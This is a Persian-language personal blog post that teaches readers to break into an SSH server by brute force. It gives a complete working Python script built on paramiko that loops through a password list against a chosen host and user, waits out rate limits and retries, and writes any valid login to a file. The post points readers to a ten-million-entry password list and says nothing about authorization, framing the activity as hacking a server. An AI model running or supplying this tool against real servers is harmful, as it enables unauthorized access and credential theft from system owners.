وبلاگ فربد | Farbod Blog

توی این وبلاگ راجع به پروژه هام صحبت می کنم

brute force کردن سرور SSH با پایتون

  • ۸۹۸

سلام دوستان :)

توی پست امروز قراره درباره هک کردن یک سرور SSH با هم دیگه صحبت کنیم.

اما قبلش بهتره که یکم درباره SSH اطلاعات جمع آوری کنیم.

SSH یا Secure Shell که رو پورت 22 کار میکنه در واقع یک جایگزین برای telnet که یک شل ریموت نسبتا نا امنه هست که از یک الگوریتم رمزگذاری برای امن تر کردن ارتباط استفاده می کنه.

خب احتمالا همونطور که حدس زدین و به احتمال زیاد حدستون درست بوده ما قراره از روش brute-force برای هک کردن سرور SSH استفاده کنیم.

برای اتصال به سرور SSH داخل Standard Library پایتون، کتابخونه خاصی وجود نداره و ما قراره از یک کتابخونه به نام paramiko استفاده کنیم که به ما به سادگی اجازه برقراری ارتباط با سرور های SSH رو میده.

از کتابخونه colorama هم برای رنگی کردن متن هامون استفاده می کنیم.

پس بریم نصبشون کنیم.

برای نصب کتابخونه paramiko توی مک یا لینوکس وارد ترمینال بشین و دستور زیر رو وارد کنین:

sudo pip3 install paramiko

برای نصب کتابخونه paramiko توی ویندوز هم وارد cmd بشین و دستور زیر رو وارد کنین:

pip install paramiko

برای نصب کتابخونه colorama که قراره برای رنگی کردن متن استفادش کنیم هم به همین صورت عمل کنین.

کد:

import paramiko
import socket
import time
from colorama import init, Fore

# initialize colorama
init()

GREEN = Fore.GREEN
RED   = Fore.RED
RESET = Fore.RESET
BLUE  = Fore.BLUE


def is_ssh_open(hostname, username, password):
    # initialize SSH client
    client = paramiko.SSHClient()
    # add to know hosts
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(hostname=hostname, username=username, password=password, timeout=3)
    except socket.timeout:
        # this is when host is unreachable
        print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}")
        return False
    except paramiko.AuthenticationException:
        print(f"[!] Invalid credentials for {username}:{password}")
        return False
    except paramiko.SSHException:
        print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}")
        # sleep for a minute
        time.sleep(60)
        return is_ssh_open(hostname, username, password)
    else:
        # connection was established successfully
        print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}")
        return True


if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="SSH Bruteforce Python script.")
    parser.add_argument("host", help="Hostname or IP Address of SSH Server to bruteforce.")
    parser.add_argument("-P", "--passlist", help="File that contain password list in each line.")
    parser.add_argument("-u", "--user", help="Host username.")

    # parse passed arguments
    args = parser.parse_args()
    host = args.host
    passlist = args.passlist
    user = args.user
    # read the file
    passlist = open(passlist).read().splitlines()
    # brute-force
    for password in passlist:
        if is_ssh_open(host, user, password):
            # if combo is valid, save it to a file
            open("credentials.txt", "w").write(f"{user}@{host}:{password}")
            break

توضیح: اول از همه کتابخونه های مورد نیازمون رو import کردیم. بعدش تابع init رو برای آماده کردن کتابخونه colorama جهت استفاده فراخوانی کردیم.

بعدش چند تا از رنگ ها رو تعریف کردیم.

حالا می رسیم به بخش اصلی برنامه که تلاش می کنیم با یک پسورد و یوزر به سرورمون لاگین کنیم و برای اینکار هم از توابع کتابخونه paramiko استفاده کردیم.

توی بخش آخر برنامه هم با استفاده از argparser چند تا ورودی برای برناممون تعریف کردیم که از ما یک یوزرنیم، یک پسورد لیست و آدرس سرور رو می گیره.

الان وارد ترمینال یا cmd بشین و با استفاده از دستور cd وارد فولدری که فایل اسکریپت رو توش ذخیره کردین بشین و با استفاده از دستوراتی که توی برنامه تعریف کردیم از اسکریپت استفاده کنین. من یک پسورد لیست توی پست (ساخت cracker فایل های zip) که ۱۰ میلیون پسورد داخلش وجود داره رو براتون برای دانلود گذاشتم. میتونین اگر خواستین از اون هم به عنوان پسورد لیست استفاده کنین.

امیدوارم براتون مفید بوده باشه D:


  • واقعا عاااالی توضیح میدین همیشه
    خدا قوت
    پاسخ:
    سلام دوست عزیز
    ممنونم از لطف و محبت شما
    موفق و پیروز باشید
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی